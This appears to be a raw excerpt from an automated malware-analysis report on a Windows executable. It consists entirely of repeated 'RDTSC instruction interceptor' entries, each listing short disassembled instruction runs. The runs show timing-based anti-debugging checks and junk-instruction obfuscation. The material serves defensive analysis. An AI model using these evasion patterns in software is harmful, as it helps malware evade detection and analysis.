Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 87B5F0 second address: 87B603 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F4E24C29F76h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push ecx 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 87FF6E second address: 87FF72 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 88056A second address: 880574 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F4E24C29F76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 880574 second address: 880588 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F4E24C349DEh 0x00000008 push edi 0x00000009 pop edi 0x0000000a ja 00007F4E24C349D6h 0x00000010 push eax 0x00000011 push edx 0x00000012 push esi 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 880588 second address: 88058C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 824FFA second address: 825087 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b jmp 00007F4E24C349E1h 0x00000010 mov ebx, dword ptr [ebp+1247F08Eh] 0x00000016 push 00000000h 0x00000018 push ebp 0x00000019 call 00007F4E24C349D8h 0x0000001e pop ebp 0x0000001f mov dword ptr [esp+04h], ebp 0x00000023 add dword ptr [esp+04h], 00000018h 0x0000002b inc ebp 0x0000002c push ebp 0x0000002d ret 0x0000002e pop ebp 0x0000002f ret 0x00000030 add eax, ebx 0x00000032 push 00000000h 0x00000034 push esi 0x00000035 call 00007F4E24C349D8h 0x0000003a pop esi 0x0000003b mov dword ptr [esp+04h], esi 0x0000003f add dword ptr [esp+04h], 00000015h 0x00000047 inc esi 0x00000048 push esi 0x00000049 ret 0x0000004a pop esi 0x0000004b ret 0x0000004c call 00007F4E24C349E9h 0x00000051 mov dword ptr [ebp+122DB74Eh], esi 0x00000057 pop ecx 0x00000058 sub ecx, dword ptr [ebp+122D2B87h] 0x0000005e push eax 0x0000005f push edi 0x00000060 push eax 0x00000061 push edx 0x00000062 pushad 0x00000063 popad 0x00000064 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 825087 second address: 8250B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov dword ptr [esp], eax 0x0000000a call 00007F4E24C29F7Eh 0x0000000f pushad 0x00000010 mov ebx, edx 0x00000012 popad 0x00000013 pop edx 0x00000014 push 00000004h 0x00000016 sub dword ptr [ebp+122D1A85h], edi 0x0000001c mov dh, ah 0x0000001e nop 0x0000001f jg 00007F4E24C29F7Eh 0x00000025 push eax 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 88128D second address: 8812BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E24C349DCh 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jns 00007F4E24C349E5h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 ja 00007F4E24C349E2h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8812BF second address: 8812C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8812C5 second address: 8812C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 888A2C second address: 888A30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 888A30 second address: 888A5E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E24C349E3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnc 00007F4E24C349E7h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 888A5E second address: 888A64 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 888A64 second address: 888A68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 886C1A second address: 886C23 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 886C23 second address: 886C2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 886C2F second address: 886C3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 88733F second address: 887345 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 887345 second address: 88734B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 88734B second address: 88734F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 887920 second address: 887926 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 887926 second address: 88792B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 88792B second address: 887930 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 887930 second address: 887936 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 887BC5 second address: 887BD5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jng 00007F4E24C29F76h 0x0000000e push eax 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 887ED8 second address: 887EF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 jmp 00007F4E24C349E7h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8884AE second address: 8884B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8884B2 second address: 8884BD instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8884BD second address: 8884C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8884C8 second address: 8884CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8884CE second address: 8884E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F4E24C29F81h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 890BCA second address: 890BF6 instructions: 0x00000000 rdtsc 0x00000002 js 00007F4E24C349F2h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 890BF6 second address: 890BFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 890BFE second address: 890C1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4E24C349E3h 0x00000009 push edi 0x0000000a pop edi 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8911BB second address: 8911C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007F4E24C29F76h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8911C8 second address: 8911E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F4E24C349E3h 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 891724 second address: 891729 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 899616 second address: 89962D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnp 00007F4E24C349E2h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 89975F second address: 899763 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 899763 second address: 8997AE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F4E24C349EBh 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e jmp 00007F4E24C349E3h 0x00000013 push eax 0x00000014 jmp 00007F4E24C349E4h 0x00000019 pop eax 0x0000001a popad 0x0000001b pushad 0x0000001c jmp 00007F4E24C349DEh 0x00000021 push eax 0x00000022 push edx 0x00000023 push ecx 0x00000024 pop ecx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 899A6E second address: 899A83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 ja 00007F4E24C29F76h 0x0000000c popad 0x0000000d jg 00007F4E24C29F78h 0x00000013 push edx 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 899A83 second address: 899AAB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E24C349E8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e jnp 00007F4E24C349D6h 0x00000014 pop esi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 899AAB second address: 899AC3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F4E24C29F81h 0x00000008 pop ebx 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 899DEC second address: 899E1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4E24C349E9h 0x00000009 jmp 00007F4E24C349E4h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 899F6A second address: 899FA0 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F4E24C29F91h 0x00000008 jnp 00007F4E24C29F76h 0x0000000e jmp 00007F4E24C29F85h 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pushad 0x00000016 pushad 0x00000017 jnc 00007F4E24C29F76h 0x0000001d push ecx 0x0000001e pop ecx 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 popad 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 899FA0 second address: 899FA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 89ADF3 second address: 89AE06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4E24C29F7Eh 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 89AE06 second address: 89AE0D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 898BCA second address: 898BE7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4E24C29F89h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8A067C second address: 8A0690 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4E24C349DEh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8A0690 second address: 8A06B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jp 00007F4E24C29F78h 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F4E24C29F88h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8A06B8 second address: 8A06C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8ABD18 second address: 8ABD54 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E24C29F83h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnp 00007F4E24C29FC8h 0x0000000f push eax 0x00000010 push edx 0x00000011 jnl 00007F4E24C29F76h 0x00000017 jmp 00007F4E24C29F87h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8ABD54 second address: 8ABD6D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E24C349DAh 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jnc 00007F4E24C349D6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8B24E4 second address: 8B24E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8B2658 second address: 8B2673 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F4E24C349DDh 0x0000000e push ecx 0x0000000f push edi 0x00000010 pop edi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8B2673 second address: 8B268E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 ja 00007F4E24C29F82h 0x0000000b js 00007F4E24C29F76h 0x00000011 jne 00007F4E24C29F76h 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8B268E second address: 8B2692 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8B2692 second address: 8B2696 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8B549A second address: 8B54A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8B54A0 second address: 8B54AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8B54AA second address: 8B54AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8B54AE second address: 8B54B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8B54B4 second address: 8B54BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8B54BA second address: 8B54BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8B54BE second address: 8B54DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4E24C349E3h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8B4E7B second address: 8B4E96 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F4E24C29F86h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8B4FFE second address: 8B500A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8B500A second address: 8B5017 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8B5017 second address: 8B501B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8BB3D9 second address: 8BB3F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F4E24C29F76h 0x0000000a jmp 00007F4E24C29F81h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8BB3F4 second address: 8BB3FB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8BB3FB second address: 8BB403 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8BB403 second address: 8BB420 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 je 00007F4E24C349DCh 0x0000000e jnp 00007F4E24C349D6h 0x00000014 pushad 0x00000015 jp 00007F4E24C349D6h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8C6CA4 second address: 8C6CB4 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F4E24C29F76h 0x00000008 jng 00007F4E24C29F76h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8C6CB4 second address: 8C6CBA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8C6CBA second address: 8C6CD5 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F4E24C29F76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c pop eax 0x0000000d push eax 0x0000000e pop eax 0x0000000f push edi 0x00000010 pop edi 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 push edi 0x00000018 pop edi 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8C6CD5 second address: 8C6CDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8C6CDA second address: 8C6CE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8C6CE0 second address: 8C6CE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8CD63D second address: 8CD647 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F4E24C29F76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8CD7CD second address: 8CD7EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007F4E24C349E5h 0x0000000d pop eax 0x0000000e push edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8CD967 second address: 8CD98B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 ja 00007F4E24C29F76h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F4E24C29F80h 0x00000013 je 00007F4E24C29F76h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8CD98B second address: 8CD991 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8CD991 second address: 8CD998 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8CDB0B second address: 8CDB25 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E24C349E0h 0x00000007 jnp 00007F4E24C349D6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8CDB25 second address: 8CDB31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F4E24C29F76h 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8CDB31 second address: 8CDB35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8CDCB7 second address: 8CDCCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4E24C29F81h 0x00000009 rdtsc
